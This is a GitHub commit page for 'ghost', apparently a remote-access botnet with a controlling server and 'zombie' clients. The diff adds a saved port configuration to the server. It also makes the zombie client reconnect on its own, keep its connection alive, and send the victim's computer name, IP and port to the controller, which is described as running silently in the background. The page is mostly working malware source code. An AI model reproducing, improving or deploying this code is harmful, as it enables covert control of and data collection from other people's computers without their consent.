Skip to content

Commit

Permalink
1.0.1
Browse files Browse the repository at this point in the history
- Fixed incorrect CHANGELOG.md
- Fixed zombie not automatically reconnecting to server
- Server now has the ability to save/load configuration (**ghost.conf**)
- Fixed zombie not closing TCP connection.
  • Loading branch information
AHXR committed Dec 12, 2017
1 parent d97b1ca commit fd00bbb
Show file tree
Hide file tree
Showing 3 changed files with 81 additions and 61 deletions.
58 changes: 5 additions & 53 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
@@ -1,54 +1,6 @@
1.4 - Level 1 Love (12/6/2017)
1.0.1 (12/12/2017)

- Cosmos Ocean - Dharma cleaned up
- Cosmos HERO deck added.

New Cards Added (3):
- Cosmos Ocean - Intention & Rapproachement added
- Cosmos Ocean - Pure Latent added
- Cosmos Ocean - Moonlight Entrust

1.3 - Fusion Update (11/24/2017)

Fusion Monster set added. See *Fusion Monsters* in README.md for more information.

- Cosmos Ocean - Abundance effect fixed.
- Cosmos Ocean - Understanding effect modified (BETA)

New Cards Added (13):
- Cosmos Ocean - Reconciliation
- Cosmos Ocean - Ketheric
- Cosmos Ocean - Tirthankara
- Cosmos Ocean - Samsara
- Cosmos Ocean - Lotus Dragon
- Cosmos Ocean - Optimism
- Cosmos Ocean - Evolution
- Cosmos Ocean - Amplitude
- Cosmos Ocean - Circulate
- Cosmos Ocean - Concord
- Cosmos Ocean - Natural
- Cosmos Ocean - Spirit (Synchro)
- Cosmos Ocean Dragon (Non-Fusion Effect Pendulum)

1.2 - Togetherness Update (11/3/2017)

- Cosmos Ocean - Giving effect fixed.
- Cosmos Ocean - Understanding (Field Spell) added.
- Cosmos Ocean - Transparency (Continuous Spell) added.
- Cosmos Ocean - City Horizon (Continuous Spell) added.
- Cosmos Ocean - Euphoria added.
- Cosmos Ocean - Bliss' effect adjusted to match new sister card.
- Cosmos Ocean - Detachment's pendulum effect has been fixed.

1.1 (10/25/2017)

- Cosmos Ocean - Giving was given more relatable and fitting effects.
- Cosmos Ocean - Destiny's ATK increased to 3200.
- Cosmos Ocean - Om can now be destroyed by battle.
- Cosmos Ocean - Paradise (Field Spell) added.
- Cosmos Ocean - Eternity added.
- Minor tweaks and bug fixes.

1.0 (10/8/2017)

Initial Release
- Fixed incorrect CHANGELOG.md
- Fixed zombie not automatically reconnecting to server
- Server now has the ability to save/load configuration (**ghost.conf**)
- Fixed zombie not closing TCP connection.
61 changes: 53 additions & 8 deletions _src/server/server.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -20,8 +20,6 @@
along with ghost. If not, see <http://www.gnu.org/licenses/>.
*/
//=======================================================
#include "stdafx.h"

#define DEFAULT_BUFF 9056
#define AHXRLOGGER_PLUGIN // https://github.com/AHXR/ahxrlogger

Expand All @@ -41,6 +39,8 @@
#define SHOW_GHOST() { system("CLS"); LOG("%s\n\n", c_ascii); }
#define GO_BACK() { LOG("[COLOR:GREEN]0) [Back to Main Menu]"); }

#define GHOST_CONFIG "ghost.conf"

#include "ahxrwinsock.h"
#include "ghostlib.h"
#include "resource.h"
Expand Down Expand Up @@ -95,10 +95,18 @@ void refreshClients() {
continue;
}

/*char buf;
int err = recv(client_data.socketRef, &buf, 1, MSG_PEEK | MSG_DONTWAIT);
if (err == SOCKET_ERROR)
if (WSAGetLastError() != WSAEWOULDBLOCK)
ghostlib::deleteZombie(i);
*/

i_res = send(client_data.socketRef, "ghost_ping", 10, 0 ); // Testing if socket is active. Will never respond.

if (i_res == SOCKET_ERROR)
ghostlib::deleteZombie(i);

}
}

Expand Down Expand Up @@ -139,11 +147,33 @@ DWORD WINAPI t_gui(LPVOID params) {

// Showing the menu and starting the ghost server.
SHOW_GHOST();
LOG("[COLOR:RED]This process will silently run in the background as \"ghost.exe\". Make sure this port is equal to the port you have sent to the client. Otherwise, data will be sent via email.");
printf("\nPlease enter your listening port: ");

cin >> s_option;
c_port = s_option;
fstream f_config_file(GHOST_CONFIG, ios::in);

if (!f_config_file.is_open()) {
LOG("[COLOR:RED]This process will silently run in the background as \"ghost.exe\". Make sure this port is equal to the port you have sent to the client. Otherwise, data will be sent via email.");
printf("\nPlease enter your listening port: ");

cin >> s_option;
c_port = s_option;
}
else {
f_config_file.seekg(0, f_config_file.end);
int i_length = (int)f_config_file.tellg();
f_config_file.seekg(0, f_config_file.beg);

char * c_buffer = new char[i_length];

f_config_file.read(c_buffer, i_length);

c_buffer[i_length] = '\0';
if (c_buffer[i_length - 1] == '\n')
c_buffer[i_length - 1] = '\0';

s_option = c_buffer;
c_port = s_option;
f_config_file.close();
}

if (!a_server.start_server(s_option.c_str(), TCP_SERVER, onServerClientConnect, onServerRecData)) {
ERROR("Could not run server... Try again.");
Expand Down Expand Up @@ -172,7 +202,7 @@ DWORD WINAPI t_gui(LPVOID params) {

GO_BACK();
for (int i = 0; i < ghostlib::getZombieCount(); i++) {
client_data = ghostlib::getZombieData(i);
client_data = ghostlib::getZombieData(i); // Returning a reference to the struct

j_data = json::parse(client_data.system_data);
s_output = j_data["ID"].get<std::string>() + std::string(" - ") + j_data["IP"].get<std::string>() + std::string(":" + j_data["PORT"].get<std::string>());
Expand Down Expand Up @@ -337,6 +367,21 @@ DWORD WINAPI t_gui(LPVOID params) {
case 2: { // Configuration
SHOW_GHOST();
SHOW_CONFIG();

char s_save = ' ';
cin.ignore();
while (s_save != 'y' && s_save != 'n') {
LOG("Would you like to save this config to a file so you can instantly run this server in the future? (y/n)");
cin >> s_save;
}

if (s_save == 'y') {
fstream f_save(GHOST_CONFIG, ios::out);
f_save << c_port;
f_save.close();

LOG("[COLOR:BROWN]Configuration file saved as %s", GHOST_CONFIG);
}
break;
}
case 3: { // Refresh
Expand Down Expand Up @@ -364,7 +409,7 @@ void onServerClientConnect(SOCKET clientSocket, CLIENTDATA info) {
}

void onServerRecData(SOCKET clientSocket, CLIENTDATA info, char * data) {
string s_data = data;
string s_data = data;

if (b_waiting) {
LOG("[RESPONSE]\n%s", data);
Expand Down
23 changes: 23 additions & 0 deletions _src/zombie/zombie.cpp
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,7 @@ AHXRCLIENT client;

void onClientConnect();
void onClientRecData( char * data);
DWORD WINAPI t_ping(LPVOID lpParams);
string real_ip();

#pragma comment (lib, "shell32.lib")
Expand Down Expand Up @@ -105,11 +106,31 @@ void main(cli::array<System::String^>^ args)
if( client.init(str_host, str_port, TCP_SERVER, onClientConnect) )
client.listen(onClientRecData, false);

if (client.Socket_Client != INVALID_SOCKET)
closesocket(client.Socket_Client);

b_cmd = false; // Safe reset
Sleep(1000);
}
}

DWORD WINAPI t_ping(LPVOID lpParams) {
while (1) {
Sleep(3000);
char buf;
int err = recv(client.Socket_Client, &buf, 1, MSG_PEEK);
if (err == SOCKET_ERROR)
{
if (WSAGetLastError() != WSAEWOULDBLOCK)
{
client.close();
break;
}
}
}
return 0;
}

void onClientConnect() {
json sys_data;
TCHAR c_comp_name[ MAX_COMPUTERNAME_LENGTH + 1 ];
Expand All @@ -124,6 +145,8 @@ void onClientConnect() {
sys_data["PORT"] = str_port;

client.send_data(sys_data.dump().c_str());

CreateThread(0, 0, t_ping, 0, 0, 0);
}

void onClientRecData( char * data ) {
Expand Down

0 comments on commit fd00bbb

Please sign in to comment.